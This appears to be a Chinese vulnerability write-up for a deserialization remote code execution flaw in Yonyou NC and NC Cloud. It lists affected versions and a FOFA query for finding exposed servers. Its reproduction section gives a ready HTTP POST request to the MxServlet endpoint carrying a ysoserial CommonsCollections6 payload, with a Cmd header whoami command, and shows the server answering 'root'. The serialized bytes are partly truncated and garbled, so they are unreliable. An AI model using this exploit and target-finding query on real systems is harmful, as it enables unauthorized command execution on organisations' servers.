

Y8-23用友-NCCloud-反序列化RCE

漏洞描述:

用友NC及NC Cloud系统存在反序列化漏洞，系统未将用户传入的序列化数据进行过滤就直接执行了反序列化操作，结合系统本身存在的反序列化利用链，可造成了命令执行，深入利用可随意操作服务器。

影响版本:

NC56、NC57、NC63、NC65、NCC1903、NCC1909、NCC2005

网站图片:



Copyright ©2019用友网络科技股份有限公司版权所有

网络测绘:

fofa语法:

FOFA: body="Client/Uclient/UClient.dmg"

漏洞复现:

payload:

```
POST /servlet/~ic/nc.bs.framework.mx.MxServlet HTTP/1.1
Host: your-ip
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 20434

{{unquote("'"'\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xpw\x0c\x00\x00\x02?@\x00\x00\x00\x00\x01sr\x004org.apache.commons.cc
```

效果图:

PS: ysoserial的cc6+TomcatEcho回显链+yakit自带的strconv.Unquote 转化(反序列化数据)

Request

[数据包扫描](#) [热加载](#) [构造请求](#)

```
1 POST /servlet/~ic/nc.bs.framework.mx.MxServlet-HTTP/1.1
2 Host : 192.168.1.81
3 Cmd: whoami
4 Accept-Encoding: gzip
5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
6 Content-Length: 20434
7
8 {{unquote("\xac\xed\x05sr\x00\x11java.util.
HashSet\xbaD\x85\x95\x96\x8b74\x03\x00\x00xpwx0c\x00\x00\x02?
@\x00\x00\x00\x00\x00\x01sr\x004org.apache.commons.collections.keyvalue.
TiedMapEntry\x8a\xad\x02\x9b9\xc1\x1f\xdb\x02\x00\x02L\x00\x03key\x00\x12Ljava/lang/Object;
L\x00\x03map\x00\x0fLjava/util/Map;xpt\x00\x03foosr\x00*org.apache.commons.collections.map.
LazyMapn\xe5\x94\x82\x9ey\x10\x94\x03\x00\x01L\x00\x07factoryt\x00,Log/apache/commons/collections/
Transformer;xpsr\x00:org.apache.commons.collections.functors.
ChainedTransformer0xc7\x97\xec\x28z\x97\x04\x02\x00\x01[\x00\x0diTransformerst\x00-[Log/apache/
commons/collections/Transformer;xpur\x00-[Long.apache.commons.collections.Transformer;
\xbdV*\xf1\xd84\x18\x99\x02\x00\x00xp\x00\x00\x07sr\x00;org.apache.commons.collections.functors.
ConstantTransformerXv\x90\x11A\x02\x01\x94\x02\x00\x01L\x00\x09iConstantq\x00~\x00\x03xpr\x00*org.
mozilla.javascript.DefiningClassLoader\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:org.
apache.commons.collections.functors.InvokerTransformer\x87\xe8\xffk\x7b|\xce8\x02\x00\x03
[\x00\x05iArgst\x00\x13[Ljava/lang/Object;L\x00\x0biMethodNamet\x00\x12Ljava/lang/String;
[\x00\x0biParamTypest\x00\x12[Ljava/lang/Class;xpur\x00\x13[Ljava.lang.Object;
\x90\xceX\x9f\x10s\x29l\x02\x00\x00xp\x00\x00\x00\x01ur\x00\x12[Ljava.lang.Class;
\xab\x16\xd7\xae\xcb\xcdZ\x99\x02\x00\x00xp\x00\x00\x00\x00t\x00\x16getDeclaredConstructoruq\x00~\x0
0\x1a\x00\x00\x00\x01vq\x00~\x00\x1asq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x01uq\x00~\x00\x18\x0
0\x00\x00t\x00\x0bnewInstanceuq\x00~\x00\x1a\x00\x00\x00\x01vq\x00~\x00\x18sq\x00~\x00\x13uq\x00
```

Responses 10bytes / 1206ms

[美化](#)

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Set-Cookie: JSESSIONID=56591FF79AFC74B777D
4 Date: Tue, 05 Dec 2023 15:11:28 GMT
5 Content-Length: 10
6
7 root
8
```